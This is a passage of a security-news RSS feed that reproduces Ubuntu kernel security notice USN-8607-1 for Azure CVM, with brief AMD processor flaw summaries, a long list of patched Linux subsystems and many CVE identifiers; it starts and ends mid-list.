CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646,
CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655,
CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694,
CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698,
CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702,
CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707,
CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720,
CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724,
CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729,
CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767,
CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044,
CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056,
CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060,
CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071,
CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075,
CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081,
CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088,
CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093,
CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139,
CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145,
CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150,
CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157,
CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163,
CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170,
CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190,
CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200,
CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43212, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43258,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265,
CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270,
CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300,
CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317,
CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350,
CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360,
CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414,
CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421,
CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441,
CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455,
CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469,
CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484,
CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492,
CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847,
CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852,
CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858,
CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877,
CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881,
CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885,
CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893,
CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921,
CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942,
CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972,
CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978,
CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984,
CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200,
CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236,
CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255,
CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265,
CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285,
CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8607-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
